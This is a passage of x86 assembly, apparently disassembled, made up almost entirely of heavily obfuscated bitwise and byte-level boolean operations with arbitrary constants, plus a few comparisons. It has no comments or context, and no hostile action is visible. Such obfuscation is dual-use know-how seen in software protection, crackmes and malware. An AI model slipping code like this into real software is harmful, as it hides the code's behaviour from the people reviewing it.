xor edi, 0xf73155d4
xor eax, 0x80090084
and esi, 0x6c86fd0b
or edi, edx
and eax, 0x937902f4
mov ebp, edi
or esi, eax
not ebp
mov eax, esi
xor esi, 0x1680244
xor eax, 0x6c86fd0b
and esi, 0x6deabf45
mov ebx, eax
and eax, 0x559d853b
and ebx, 0x921540ba
or ebx, esi
mov esi, edi
xor edi, 0x559d853b
and edi, ebp
and esi, 0x83a1d4dd
and ebp, 0x7c5e2b22
xor ebx, 0x921540ba
or ebp, esi
mov edx, ebx
mov esi, ebp
xor ebp, 0x822050c4
xor esi, 0x7c5e2b22
or ebp, 0x559d853b
and edx, esi
xor esi, ebx
and ebx, 0xaa627ac4
or eax, ebx
mov ebx, ebp
or esi, edx
not ebx
mov dword [esp + 4], eax
mov eax, ebp
and eax, 0x7767321c
and ebx, 0x880048c0
or ebx, eax
mov eax, edi
and edi, 0x8898cde3
not eax
or ebp, eax
and eax, 0x7767321c
or edi, eax
not ebp
xor edi, ebx
or ebp, edi
mov edi, dword [esp + 4]
mov eax, edi
not eax
and eax, ebp
not ebp
and ebp, edi
or ebp, eax
mov eax, esi
and esi, 0x624351a6
not eax
and eax, 0x9dbcae59
or esi, eax
mov eax, ebp
xor esi, 0x624351a6
and eax, esi
xor esi, ebp
or esi, eax
mov eax, esi
mov ebx, esi
not eax
and ebx, 0xa78f166e
mov edx, eax
and eax, 0x5870e991
and edx, esi
or eax, ebx
mov ebx, dword [esp]
mov edi, edx
and edx, 0x5870e991
not edi
or esi, edi
and edi, 0xa78f166e
or edx, edi
not esi
xor edx, eax
or esi, edx
mov edx, esi
and esi, 0x204b0900
not edx
mov eax, edx
or edx, 0x72ef2d5a
and eax, 0x52a4245a
or esi, eax
mov eax, edx
and edx, 0x546d41d9
mov edi, esi
xor esi, 0x542440d9
not eax
xor edi, 0x20020800
and eax, 0x89109224
and esi, 0x546d41d9
and edi, 0x22822c02
or eax, edx
or edi, esi
xor eax, edi
mov edx, eax
not eax
and edx, 0x70b5451e
and eax, 0x8f4abae1
or eax, edx
mov edx, eax
xor eax, 0xfda597bb
not edx
and edx, 0x25a6844
or eax, edx
mov edx, eax
and eax, 0xc7eab3c7
not edx
and edx, 0x38154c38
or eax, edx
mov edx, ebx
or ebx, 0xf2fd4ac6
and edx, 0x82700804
mov edi, ebx
and ebx, 0x68527aed
mov esi, eax
xor eax, 0x38154c38
or ecx, edx
not edi
xor esi, 0xc7eab3c7
mov edx, ecx
xor ecx, 0x852382d
and edi, 0x5008510
xor edx, 0x108d0002
and ecx, 0x68527aed
or edi, ebx
and edx, 0x92ad0002
or edx, ecx
xor edi, edx
mov ecx, edi
and edi, 0xf2fd4ac6
not ecx
and ecx, 0xd02b539
or edi, ecx
mov ecx, edi
mov ebp, edi
or ecx, 0x5b41f4d4
xor ebp, 0xa4be0b2b
mov ebx, ecx
mov edx, ecx
and ebp, edi
not ebx
and edx, 0x7aa4de2f
and ebx, 0x841a0100
or ebx, edx
mov edx, ebp
and ebp, 0x855b21d0
not edx
or ecx, edx
and edx, 0x7aa4de2f
or ebp, edx
not ecx
mov edx, edi
and edi, 0xd262e4ff
xor ebp, ebx
not edx
or ecx, ebp
mov ebp, eax
and eax, 0x79495791
mov ebx, ecx
and ecx, 0x72472cdd
and ebp, 0xeec84619
not ebx
and ebx, 0x8db8d322
or ecx, ebx
mov ebx, edx
and edx, 0x25a6844
and ebx, 0x2d9d1b00
xor ecx, 0xd4a34fb2
or ebx, edi
xor ebx, 0xd0388cbb
or edx, ebx
mov edi, edx
and edx, 0xcc0b6f36
not edi
and edi, 0x33f490c9
or edx, edi
mov edi, ecx
xor edx, 0xcc0b6f36
and edi, edx
xor edx, ecx
or edx, edi
mov edi, edx
or edx, 0xd229c18d
not edi
mov ebx, edx
and edx, 0xd2aaea22
or edi, 0x2dd63e72
not ebx
mov ecx, edi
and ebx, 0x2d541450
and edi, 0xd2aaea22
not ecx
or ebx, edx
and ecx, 0x1018d
or ecx, edi
mov edi, esi
xor ecx, ebx
mov ebx, esi
mov edx, ecx
and ecx, 0x2dd63e72
and ebx, 0x1137b9e6
not edx
or ebp, ebx
and edx, 0xd229c18d
or ecx, edx
mov edx, ecx
mov ebx, ecx
or edi, ecx
xor ecx, esi
and ecx, esi
and esi, 0x86b6a86e
not edx
and ebx, 0x1137b9e6
not edi
or esi, eax
xor esi, 0x79495791
or esi, edx
and edx, 0xeec84619
not esi
or edx, ebx
mov eax, esi
xor edx, ebp
and eax, ecx
xor ecx, esi
or edi, edx
or ecx, eax
mov eax, ecx
and ecx, edi
not edi
not eax
mov edx, edi
xor edx, eax
and eax, edi
and edx, edi
or eax, ecx
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
mov esi, eax
xor eax, 0xfda597bb
not ecx
and esi, 0x7daf16ba
mov edx, ecx
and ecx, 0x25a6844
and edx, 0x8250e945
or eax, ecx
or esi, edx
mov ecx, eax
and eax, 0x54b81308
mov edx, esi
and esi, 0x58feb
not ecx
not edx
and ecx, 0xab47ecf7
and edx, 0xfffa7014
or eax, ecx
or esi, edx
mov edx, esi
xor esi, 0x55889850
xor edx, 0x805506a4
and esi, 0x5788f85a
and edx, 0xa87707a5
or edx, esi
mov esi, edx
xor edx, 0x55d2901e
xor esi, 0xa82507a1
and esi, 0xfda597bb
or edx, esi
mov esi, edx
and edx, 0xa56e94e6
not esi
and esi, 0x5a916b19
or edx, esi
mov esi, eax
xor eax, 0xab47ecf7
mov edi, edx
mov ecx, edx
xor edx, 0x7a699cb6
xor esi, 0xb81308
xor edi, 0xa56e94e6
xor ecx, 0x5a916b19
and esi, 0x20f8f7af
mov ebp, ecx
and edx, edi
or edi, 0x20f8f7af
xor ecx, eax
mov ebx, edi
and ebp, eax
and eax, 0xdf070850
not ebx
or esi, eax
mov eax, edi
or ecx, ebp
and eax, 0x98acd86f
and ebx, 0x47030010
not ecx
or ebx, eax
mov eax, edx
and edx, 0x67532790
not eax
or edi, eax
and eax, 0x98acd86f
or edx, eax
not edi
xor edx, ebx
or edi, edx
mov eax, edi
not eax
and eax, esi
not esi
and esi, edi
or esi, eax
mov eax, esi
and eax, ecx
xor ecx, esi
or ecx, eax
mov edx, ecx
mov esi, ecx
and ecx, 0xc46681b3
not edx
and esi, 0x61868e98
mov eax, edx
and edx, 0x3b997e4c
and eax, 0x9e797167
or ecx, edx
or esi, eax
mov edi, esi
xor esi, 0x14212064
xor edi, 0x60860e80
and esi, 0x1521a07c
and edi, 0xeade5f83
or edi, esi
mov eax, edi
xor edi, 0x12070
xor eax, 0x4a044982
and edi, 0xa0db3671
and eax, 0x5f24c98e
or eax, edi
mov edi, ecx
xor ecx, 0x3907c4c
xor edi, 0xc46681b3
and ecx, 0x3f0fc4e
mov esi, eax
xor eax, 0xa0db3671
mov edx, edi
xor esi, 0x5f24c98e
and edx, 0xfc0f03b1
or edx, ecx
xor edx, 0xfc0f03b1
or edx, edi
mov ecx, edx
not ecx
and ecx, eax
or eax, edx
and edx, esi
not eax
or edx, ecx
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov esi, edx
mov ecx, edx
mov eax, edx
xor esi, 0xa79986ef
and ecx, 0xb3ac8400
or eax, 0x58667910
and esi, edx
not edx
mov ebx, eax
mov edi, edx
and ebx, 0x266ba083
and edi, 0x4c537bff
or ecx, edi
mov edi, esi
and esi, 0xd9945f7c
xor ecx, 0xb3ac8400
not edi
xor edx, ecx
and edx, ecx
mov ecx, eax
or eax, edi
and edi, 0x266ba083
not ecx
or esi, edi
not eax
mov edi, edx
and ecx, 0x8190066c
xor edi, 0x4ee1f9e3
or ecx, ebx
mov ebp, edi
and edi, edx
xor esi, ecx
or eax, esi
mov esi, edx
mov ecx, eax
and eax, 0x58667910
not esi
not ecx
and ebp, esi
and ecx, 0xa79986ef
mov ebx, ebp
and ebp, 0xcb0008f0
or eax, ecx
not ebx
mov edx, eax
mov ecx, eax
xor edx, 0x4ee1f9e3
and ecx, 0x682b8038
and edx, eax
not eax
and eax, 0x97d47fc7
or ecx, eax
mov eax, ebx
and eax, 0x34fff70f
xor ecx, 0x682b8038
or ebp, eax
mov eax, edi
and edi, 0xcb0008f0
not eax
or ebx, eax
and eax, 0x34fff70f
or edi, eax
not ebx
mov eax, dword [0x4d0db8]
xor edi, ebp
mov ebp, ecx
and ebp, 0x4ee1f9e3
or ebx, edi
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov edi, ebx
not edi
and edi, edx
not edx
and edx, ebx
or edx, edi
mov edi, esi
and edi, ecx
xor ecx, esi
mov esi, edx
or ecx, edi
not ecx
and esi, ecx
xor ecx, edx
or ecx, esi
mov edx, ecx
mov esi, ecx
mov ebx, ecx
not edx
and esi, 0x4082b000
xor ebx, 0x5cc3f604
mov edi, edx
and ebx, ecx
and edx, 0xfdd111e8
and ecx, 0x22eee17
and edi, 0x1c414604
or ecx, edx
or esi, edi
mov edx, ecx
xor ecx, 0xfdd111e8
mov edi, esi
xor esi, 0xbf7d4fff
xor edx, 0x22eee17
xor edi, 0x40823000
mov ebp, esi
or ecx, edx
and ebp, 0x5085cb
and edi, 0x5c837204
or edi, ebp
mov ebp, ebx
and ebx, 0xffaf7a34
not ebp
or esi, ebp
and ebp, 0x5085cb
or ebx, ebp
not esi
xor ebx, edi
or esi, ebx
mov edi, esi
and esi, 0x5cc3f604
not edi
and edi, 0xa33c09fb
or esi, edi
mov edi, ecx
mov ebp, esi
not edi
and esi, 0xa9d5d784
not ebp
and edi, 0xa9d5d784
mov edx, ebp
and ebp, 0x562a287b
or edx, ecx
and ecx, 0x562a287b
or esi, ebp
or edi, ecx
mov ebx, edx
xor edi, esi
not ebx
mov esi, edx
mov ecx, edi
and esi, 0xaf74d6c3
and ebx, 0x508b293c
and edi, 0x508b293c
not ecx
or ebx, esi
or edx, ecx
and ecx, 0xaf74d6c3
or edi, ecx
not edx
xor edi, ebx
or edx, edi
mov esi, edx
mov ecx, edx
mov edi, edx
not esi
or ecx, 0x7756878e
xor edi, 0x88a97871
mov ebp, esi
mov ebx, ecx
and edi, edx
and esi, 0xa398a726
and edx, 0x5c6758d9
and ebx, 0xbd3ecb86
and ebp, 0x813071
or edx, esi
or ebp, ebx
mov ebx, edi
and edi, 0x42c13479
mov esi, edx
xor edx, 0x22980426
not ebx
xor esi, 0x54220851
and edx, 0x2add54ae
or ecx, ebx
and ebx, 0xbd3ecb86
and esi, 0xd522ab51
or edi, ebx
not ecx
or esi, edx
xor edi, ebp
or ecx, edi
mov edi, ecx
and ecx, 0xd5f89abb
not edi
and edi, 0x2a076544
or ecx, edi
mov edi, ecx
xor ecx, 0x5d51e2ca
xor edi, 0x80220911
mov ebx, ecx
and ebx, 0x2add54ae
and edi, 0xd522ab51
or edi, ebx
xor esi, edi
not esi
or esi, ecx
cmp esi, 0xffffffff
mov esi, 0x643172b0
sete byte [esp + 4]
setne byte [esp + 8]
cmp eax, 9
setg cl
cmp eax, 0xa
setl dl
mov byte [esp], cl
mov eax, edx
xor al, cl
mov ch, al
mov ah, al
mov cl, al
mov byte [esp + 0x14], al
xor ch, 1
or ah, ch
mov bh, ch
mov ch, ah
mov al, ah
xor cl, bh
xor ch, 1
mov byte [esp + 0x18], cl
and al, ch
mov dh, ch
xor al, 1
xor dh, al
or al, ch
xor al, 1
or al, dh
mov dh, cl
mov cl, bh
and dh, bh
mov bh, al
mov byte [esp + 0x1c], cl
mov bl, dh
xor bh, 1
and al, dh
or dh, ch
xor bl, 1
xor dh, 1
and bh, bl
xor bl, ah
or al, bh
or dh, bl
movzx ebx, byte [esp + 8]
xor al, 1
mov ah, al
or al, dh
xor ah, dh
xor al, 1
or al, ah
mov ah, cl
xor bl, byte [esp + 4]
xor al, dl
mov edx, ecx
movzx ecx, byte [esp]
xor al, 1
xor dl, cl
and cl, ah
or cl, dl
mov ah, dl
xor cl, 1
and ah, cl
xor cl, dl
or cl, ah
mov edx, ecx
xor dl, 1
and cl, dl
mov ah, dl
and ah, cl
xor cl, dl
or cl, ah
mov edx, ecx
xor dl, 1
mov ah, dl
mov ch, dl
and ah, cl
or cl, al
and ch, ah
xor ah, dl
xor cl, 1
or ah, ch
mov ch, bl
xor ah, al
xor al, dl
xor al, 1
or cl, al
mov al, ah
xor al, cl
or cl, ah
xor cl, 1
or cl, al
mov eax, ebx
mov byte [esp], cl
mov cl, bl
xor cl, 1
and ch, cl
and al, ch
xor ch, bl
or ch, al
mov al, ch
mov ah, ch
xor al, 1
or ah, al
mov byte [esp + 0xc], al
mov dh, ah
mov bh, ah
mov dl, ah
xor dh, 1
and bh, dh
or dh, cl
or cl, bl
and dl, bh
xor bh, ah
xor ah, bl
xor dh, 1
mov byte [esp + 0x20], cl
mov byte [esp + 0x10], ah
mov ah, byte [esp + 8]
or bh, dl
xor bh, bl
or dh, byte [esp + 0x10]
and bl, ah
and ah, ch
mov dl, bl
xor dh, 1
xor dl, 1
or bl, dl
mov al, dl
xor al, bl
or bl, dl
mov dl, byte [esp + 0xc]
xor bl, 1
or bl, al
mov al, bh
and al, dh
xor dh, bh
or dh, al
xor dh, 1
mov al, dh
xor dh, bl
xor dh, 1
or al, bl
and dh, bl
mov cl, al
xor dh, 1
xor cl, dh
or dh, al
xor dh, 1
or dh, cl
mov cl, byte [esp + 4]
mov al, cl
and dl, cl
xor al, ch
or ch, cl
or dl, ah
mov cl, dh
xor ch, 1
or ch, al
mov eax, edx
xor ch, 1
and al, ch
xor ch, dl
or ch, al
mov al, ch
xor cl, ch
and ch, dh
and cl, dh
xor al, 1
xor dh, 1
and dh, al
xor cl, 1
or ch, dh
mov eax, ecx
xor ch, 1
xor al, ch
or ch, cl
xor ch, 1
or ch, al
mov al, ch
mov dl, ch
xor al, 1
mov cl, al
xor dl, al
and cl, ch
and dl, ch
xor al, cl
xor cl, 1
or cl, ch
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
or al, cl
xor al, 1
xor dl, al
mov ecx, edx
xor cl, 1
and cl, al
mov eax, ecx
xor cl, dl
and al, dl
or cl, al
movzx eax, byte [esp]
mov ch, cl
mov byte [esp + 0x10], ch
mov ebx, eax
mov dh, al
xor bl, 1
mov bh, bl
mov cl, bl
xor dh, bl
or bh, al
mov byte [esp], dh
xor cl, bh
xor cl, 1
and cl, bh
xor bh, 1
mov byte [esp + 0x28], cl
mov cl, al
mov al, ch
mov byte [esp + 0x2c], bh
xor cl, bh
xor al, 1
mov edx, ecx
mov byte [esp + 4], al
xor dl, 1
mov dh, byte [esp + 4]
mov ah, dl
and ah, bh
mov bh, ah
xor ah, cl
mov cl, ch
xor bh, 1
and cl, al
or bh, dl
xor al, cl
mov byte [esp + 0x31], cl
xor bh, 1
mov byte [esp + 0xc], al
mov al, ch
or bh, ah
mov ah, cl
xor cl, 1
or al, cl
xor cl, ch
xor bh, 1
xor al, 1
or cl, al
mov byte [esp + 0x26], al
mov ch, cl
xor ch, 1
and ch, cl
mov dl, ch
xor ch, cl
and dl, cl
or ch, dl
mov dl, ch
mov al, ch
xor dl, 1
mov cl, dl
or dl, bl
and cl, ch
mov byte [esp + 0x32], dl
xor cl, 1
xor al, cl
or cl, ch
xor cl, 1
or cl, al
mov al, bl
or al, ch
mov byte [esp + 0x34], cl
xor cl, ch
xor ch, bl
xor al, 1
mov byte [esp + 8], cl
or al, ch
and ch, bl
xor bl, bh
mov byte [esp + 0x33], ch
mov ch, byte [esp + 0x1c]
mov dl, bl
mov byte [esp + 0x27], al
xor dl, 1
and dl, bh
mov al, dl
xor dl, bl
and ch, byte [esp + 0x14]
and al, bl
or dl, al
or ch, byte [esp + 0x18]
mov cl, ch
xor cl, 1
and ch, cl
mov al, cl
and al, ch
xor ch, cl
or ch, al
mov al, ch
xor al, 1
or al, ch
xor al, 1
xor cl, al
and al, cl
xor cl, 1
mov ch, al
and ch, cl
xor cl, al
or cl, ch
mov ch, cl
xor ch, 1
and ch, cl
mov al, ch
xor ch, cl
and al, cl
mov cl, byte [esp + 0x10]
or ch, al
mov al, byte [esp + 0x31]
xor ah, cl
and al, cl
or cl, dh
mov ebx, ecx
or ah, al
mov al, cl
xor cl, dh
xor bl, 1
and al, dh
mov byte [esp + 0x18], bl
xor ah, bl
movzx ebx, byte [esp + 0xc]
or cl, al
xor cl, 1
mov al, ah
and al, cl
xor cl, ah
or cl, al
or bl, byte [esp + 0x26]
mov ah, cl
xor ah, 1
mov al, ah
or al, bl
xor bl, 1
or bl, cl
mov dh, al
xor dh, bl
or bl, al
mov al, byte [esp + 0x20]
xor bl, 1
or bl, dh
mov dh, dl
xor ah, bl
or bl, cl
mov cl, al
xor ah, 1
xor bl, 1
xor cl, 1
or bl, ah
mov ah, cl
mov byte [esp + 0xc], bl
mov ebx, edx
and ah, al
xor cl, ah
xor ah, 1
or ah, al
xor ah, 1
or ah, cl
mov byte [esp + 0x1c], ah
mov ah, dl
xor ah, 1
and dh, ah
mov al, dh
xor bl, dh
and dh, dl
xor al, 1
or dh, bl
or al, ah
or ah, dl
xor al, 1
or al, bl
xor ah, al
and al, ah
mov cl, ah
xor cl, al
xor al, 1
or al, ah
xor cl, 1
mov ah, ch
xor al, 1
or al, cl
mov cl, ch
xor cl, 1
mov bh, al
mov byte [esp + 0x14], al
and ah, cl
or cl, ch
mov bl, cl
mov dl, ah
xor ah, ch
xor bl, 1
and dl, ch
mov al, bl
or ah, dl
and al, cl
mov dl, al
xor al, bl
xor dl, 1
or dl, cl
mov cl, dh
xor dl, 1
or dl, al
mov al, ah
xor al, 1
and al, dl
xor dl, 1
and dl, ah
or dl, al
mov al, ch
xor al, bl
or bl, ch
xor bl, 1
or bl, al
mov eax, ebx
xor al, dl
xor dl, 1
or dl, bl
xor al, 1
xor dl, 1
or dl, al
mov al, dh
xor al, 1
mov ch, dl
and cl, al
xor al, dh
mov dh, bh
or al, cl
xor dh, 1
mov cl, al
mov ah, al
mov bh, dh
xor cl, 1
and cl, al
xor cl, 1
xor ah, cl
or cl, al
xor cl, 1
or cl, ah
mov ah, dl
xor ah, 1
mov bl, cl
mov al, ah
xor bl, 1
or al, dl
and bh, bl
xor ch, al
or al, dl
xor al, 1
or al, ch
mov ch, dh
xor ch, bl
or ch, bh
mov bh, dh
and bh, ah
xor ah, dh
mov byte [esp + 0x26], ah
mov ah, byte [esp + 0x14]
mov byte [esp + 0x20], bh
mov bh, dh
and bh, ah
xor dh, bh
xor bh, 1
or bh, ah
mov ah, byte [esp + 0x26]
xor bh, 1
or bh, dh
mov dh, bl
and dh, cl
xor bl, dh
xor dh, 1
or ah, byte [esp + 0x20]
or dh, cl
mov cl, bh
xor dh, 1
xor cl, 1
or dh, bl
and cl, dh
xor dh, 1
and dh, bh
or dh, cl
mov cl, ch
mov bl, dh
xor cl, 1
and dh, ch
xor bl, 1
or ch, bl
and bl, cl
xor ch, 1
or bl, dh
mov cl, ch
and cl, bl
xor bl, ch
mov ch, al
or bl, cl
mov cl, al
xor cl, 1
or ch, cl
mov bh, cl
mov dh, ch
and bh, ch
or ch, al
xor dh, 1
xor ch, 1
and dh, al
or dh, bh
mov bh, ch
and bh, dh
xor dh, ch
mov ch, cl
xor cl, al
and ch, al
or dh, bh
or cl, ch
mov al, cl
xor al, 1
and cl, al
mov ch, al
and ch, cl
xor cl, al
mov al, dh
or cl, ch
mov ch, cl
xor ch, 1
xor al, ch
and ch, dh
and al, dh
xor dh, 1
and cl, dh
or ch, cl
mov cl, al
xor al, ch
xor cl, 1
xor ch, 1
or ch, cl
xor ch, 1
or ch, al
mov al, bl
xor al, 1
and bl, al
mov cl, al
and cl, bl
xor bl, al
or bl, cl
mov cl, al
xor al, ch
and cl, ch
xor ch, 1
xor bl, 1
or al, cl
mov dh, ch
xor ch, bl
mov cl, al
and dh, bl
movzx ebx, byte [esp + 0x1c]
xor cl, 1
or ch, dh
mov dh, al
and cl, al
and dh, cl
xor cl, al
or cl, dh
mov dh, ch
xor dh, 1
and dh, cl
xor cl, 1
and cl, ch
or cl, dh
mov dh, ch
and dh, al
xor al, ch
mov ch, cl
or al, dh
xor al, 1
and ch, al
xor al, cl
mov cl, dl
or al, ch
mov ch, byte [esp + 0x14]
xor cl, ch
and dl, cl
and cl, ch
mov ch, dl
and ch, cl
xor cl, dl
mov dl, ah
xor dl, 1
or cl, ch
mov ch, dl
and ch, ah
xor ch, 1
mov dh, ch
or ch, ah
xor dh, ah
xor ch, 1
mov ah, cl
or ch, dh
xor ah, 1
mov dh, ch
and ch, ah
mov ah, dl
xor dh, 1
xor ah, cl
and dh, cl
or cl, dl
or ch, dh
xor cl, 1
xor ch, 1
or cl, ah
mov dl, ch
or ch, cl
xor dl, cl
xor ch, 1
or ch, dl
mov cl, ch
xor cl, 1
or ch, cl
xor ch, cl
mov dl, ch
and ch, cl
xor dl, 1
mov cl, ch
and cl, dl
xor ch, dl
or ch, cl
mov dl, ch
mov cl, ch
xor dl, 1
and dl, ch
and cl, dl
xor dl, ch
mov ch, al
or dl, cl
mov cl, dl
and ch, dl
xor cl, 1
mov ah, cl
and cl, al
xor al, 1
and ah, al
or ch, ah
mov ah, ch
xor ah, al
and al, dl
and ah, ch
or cl, al
xor ah, 1
xor cl, 1
mov al, ah
or al, cl
xor cl, ah
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
xor dl, 1
mov eax, ebx
xor cl, 1
xor al, 1
or cl, dl
mov ah, al
mov byte [esp + 0x14], cl
movzx ecx, byte [esp + 0xc]
mov edx, ecx
mov ch, cl
xor dl, 1
or ch, al
xor ah, dl
and ah, al
xor ah, 1
mov dh, ah
or ah, ch
xor dh, ch
xor ah, 1
or ah, dh
xor ah, 1
mov ch, ah
xor ch, dl
or dl, cl
xor ch, 1
xor dl, cl
or ch, ah
mov ah, dl
and dl, cl
mov cl, bl
xor ah, 1
mov dh, dl
and dh, ah
xor dl, ah
mov ah, bl
or ah, al
or dl, dh
mov dh, ah
xor dh, 1
and dh, bl
mov ebx, eax
xor bl, ah
and ah, al
and bl, al
or ah, dh
xor bl, 1
xor ah, 1
mov al, bl
xor al, ah
or ah, bl
xor ah, 1
or ah, al
mov al, ah
xor al, dl
and ah, al
and al, dl
mov dl, ah
xor ah, al
xor al, 1
xor dl, 1
or al, dl
mov dl, ch
xor al, 1
xor dl, 1
or al, ah
mov ah, dl
mov dh, dl
xor ah, ch
and ch, dl
xor ch, 1
and ah, dl
xor dh, ch
or ch, dl
xor ch, 1
or ch, dh
mov dl, ch
mov cl, ch
xor dl, 1
and cl, dl
mov ebx, ecx
xor cl, ch
or ch, dl
mov bh, ch
mov dh, ch
mov byte [esp + 0xc], cl
mov cl, al
xor bl, 1
xor bh, ah
xor ah, 1
or bl, dl
and dh, ah
xor ah, ch
xor bh, 1
xor bl, 1
or ah, dh
mov ch, bh
or bl, byte [esp + 0xc]
xor ah, 1
and ch, ah
xor ah, bh
or ah, ch
mov ch, al
xor ch, 1
mov dh, ch
xor cl, ch
and dh, al
and cl, al
mov bh, dh
xor dh, ch
or ch, al
mov byte [esp + 0x1c], dh
mov dh, ch
xor bh, 1
xor dh, 1
or bh, al
mov byte [esp + 0x20], dh
mov dh, cl
and cl, ch
xor bh, 1
xor dh, 1
or bh, byte [esp + 0x1c]
or ch, dh
and dh, byte [esp + 0x20]
xor ch, 1
xor bh, bl
or dh, cl
mov cl, ch
and cl, dh
xor dh, ch
or dh, cl
mov cl, dh
xor cl, 1
and cl, dh
mov ch, cl
xor cl, dh
and ch, dh
mov dh, byte [esp + 0x14]
or cl, ch
mov ch, ah
xor ch, 1
and ch, cl
xor cl, 1
and cl, ah
mov ah, dl
xor dl, al
mov bl, dh
and ah, al
mov al, bh
or cl, ch
or dl, ah
xor dl, 1
and al, dl
xor dl, bh
or dl, al
mov eax, edx
xor al, 1
and dl, al
mov ah, al
and ah, dl
xor dl, al
mov al, cl
or dl, ah
xor al, 1
mov ah, dl
and al, dl
mov dl, cl
xor ah, 1
xor dl, ah
and ah, cl
and dl, cl
mov cl, dh
or ah, al
mov al, dl
xor cl, 1
and al, ah
xor ah, dl
mov dl, cl
or ah, al
mov al, dh
and dl, dh
or al, cl
xor cl, dh
or cl, dl
xor dl, 1
mov ch, dl
or dl, dh
xor ch, dh
xor dl, 1
or dl, ch
mov ch, al
mov dh, dl
xor ch, 1
and dl, al
xor dh, 1
and dh, ch
mov ch, bl
and ch, al
xor al, bl
or dl, dh
mov dh, ah
or al, ch
mov ch, dl
xor dh, 1
xor al, 1
and ch, al
xor al, dl
or al, ch
mov dl, al
mov ch, al
xor dl, 1
and dl, al
xor dl, 1
xor ch, dl
or dl, al
xor dl, 1
or dl, ch
mov ch, dl
mov al, dl
xor ch, 1
and ch, dl
xor ch, 1
xor al, ch
or ch, dl
mov dl, cl
xor ch, 1
xor dl, 1
or ch, al
mov al, dl
and al, cl
xor dl, al
xor al, 1
or al, cl
mov cl, dh
xor al, 1
or cl, ah
or al, dl
mov ebx, ecx
mov dl, cl
xor cl, 1
or bl, dh
xor dl, dh
xor dh, ah
mov ah, ch
xor al, 1
xor ah, 1
or cl, dh
xor bl, 1
mov dh, ah
xor ah, al
mov bh, bl
and dh, al
and bh, dl
xor dl, bl
or ah, dh
mov dh, al
xor al, ch
or dl, bh
xor al, 1
or dh, ch
and al, ch
mov ch, dh
xor ch, al
xor al, 1
or al, dh
xor ch, 1
xor al, 1
or al, ch
mov ch, ah
xor ch, 1
xor al, 1
mov dh, ch
and dh, ah
mov bl, dh
xor dh, ch
and bl, ch
mov ch, ah
or dh, bl
and ch, al
xor dh, al
xor al, ah
or al, ch
xor dh, 1
xor al, 1
mov ah, dh
and ah, al
xor al, dh
or al, ah
mov ah, dl
xor ah, 1
mov ch, ah
or ch, dl
xor ch, dl
mov dh, ch
mov bl, ch
and dh, dl
xor bl, dh
xor dh, 1
or dh, ch
mov ch, cl
xor bl, 1
xor dh, 1
xor ch, 1
or dh, bl
mov ebx, ecx
and dl, ch
xor bl, ch
and bl, cl
and cl, ah
mov bh, bl
or cl, dl
mov dl, ah
xor bh, 1
and dl, ch
xor ch, ah
mov ah, al
and bl, bh
or ch, dl
mov dl, cl
xor bl, 1
xor ch, 1
mov byte [esp + 0xc], bl
or bl, bh
xor byte [esp + 0xc], bh
and dl, ch
xor ch, cl
xor bl, 1
or ch, dl
or bl, byte [esp + 0xc]
mov cl, ch
xor cl, 1
mov bh, bl
xor bh, 1
and bh, dh
xor dh, 1
and dh, bl
or bh, dh
mov dl, bh
xor dl, 1
and cl, dl
or dl, ch
and ch, bh
xor dl, 1
or ch, cl
mov cl, dl
and cl, ch
xor ch, dl
or ch, cl
mov cl, al
mov dl, ch
xor cl, 1
xor dl, 1
and ch, cl
and ah, dl
or ch, ah
mov ah, ch
xor ah, dl
xor dl, al
xor dl, 1
and ah, ch
mov ch, byte [esp + 0x28]
xor cl, dl
mov al, ah
and cl, dl
xor al, 1
mov edx, ecx
and cl, al
xor dl, 1
or al, dl
and dl, ah
xor al, 1
or dl, cl
mov cl, al
and cl, dl
xor dl, al
or dl, cl
mov byte [esp + 0xc], dl
movzx edx, byte [esp]
or dl, byte [esp + 0x2c]
mov eax, edx
mov cl, dl
xor al, 1
and al, dl
xor al, 1
xor cl, al
or al, dl
mov dl, ch
xor al, 1
xor dl, 1
or al, cl
mov cl, byte [esp + 8]
mov ah, dl
and ah, ch
xor cl, 1
or cl, byte [esp + 0x34]
mov byte [esp + 8], cl
mov cl, byte [esp + 4]
xor cl, byte [esp + 0x10]
or cl, byte [esp + 0x18]
mov byte [esp + 4], cl
mov cl, dl
and cl, ah
xor ah, dl
xor dl, ch
or ah, cl
and dl, ch
mov cl, ah
mov ebx, edx
xor cl, 1
xor bl, 1
mov ch, cl
or ch, ah
and dl, ch
xor ch, 1
mov bh, ch
xor bh, bl
and bl, ch
and bh, ch
or bl, dl
xor bh, 1
xor bl, 1
mov dl, bh
xor dl, bl
or bl, bh
xor bl, 1
or bl, dl
mov edx, eax
xor dl, 1
mov ch, dl
or ch, al
mov bh, ch
mov dh, ch
xor bh, 1
and bh, ch
and dh, bh
xor bh, ch
or bh, dh
mov dh, bh
and bh, al
xor dh, 1
and dh, dl
or bh, dh
mov dh, ch
xor ch, dl
and dh, dl
or ch, dh
mov dh, bh
xor ch, 1
and dh, ch
xor ch, bh
or ch, dh
mov dh, dl
and dh, al
xor ch, bl
mov bl, dh
xor dh, dl
and bl, dl
or dh, bl
mov dl, dh
xor dh, 1
and dh, ah
and dl, cl
or dh, dl
mov dl, cl
xor cl, al
and dl, al
mov al, dh
or cl, dl
xor cl, 1
and al, cl
xor cl, dh
mov dh, byte [esp + 4]
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov dl, al
mov ah, dh
and dl, cl
xor cl, al
xor ah, 1
or cl, dl
mov dl, ch
mov al, cl
xor al, 1
xor dl, al
and al, ch
and dl, ch
xor ch, 1
and cl, ch
or al, cl
mov ecx, edx
xor dl, al
xor cl, 1
xor al, 1
or al, cl
mov cl, ah
xor al, 1
and cl, dh
mov ch, cl
or al, dl
mov dl, cl
xor cl, 1
and dl, ah
xor ch, ah
or ch, dl
mov dl, dh
xor dl, cl
or cl, dh
or dh, ah
mov bl, ch
mov byte [esp], dl
xor cl, 1
mov dl, byte [esp + 8]
xor dh, 1
or cl, byte [esp]
and bl, dh
xor dh, ch
or dh, bl
mov ch, dl
mov ebx, edx
and dl, cl
xor ch, 1
xor cl, 1
or bl, dh
xor dh, 1
and cl, ch
or dh, ch
mov bh, bl
or cl, dl
mov dl, ch
xor bh, dh
or dh, bl
and dl, ah
xor ah, ch
xor dh, 1
mov ch, al
or ah, dl
mov dl, cl
or dh, bh
xor ah, 1
and dl, ah
xor ah, cl
or ah, dl
mov cl, ah
mov dl, ah
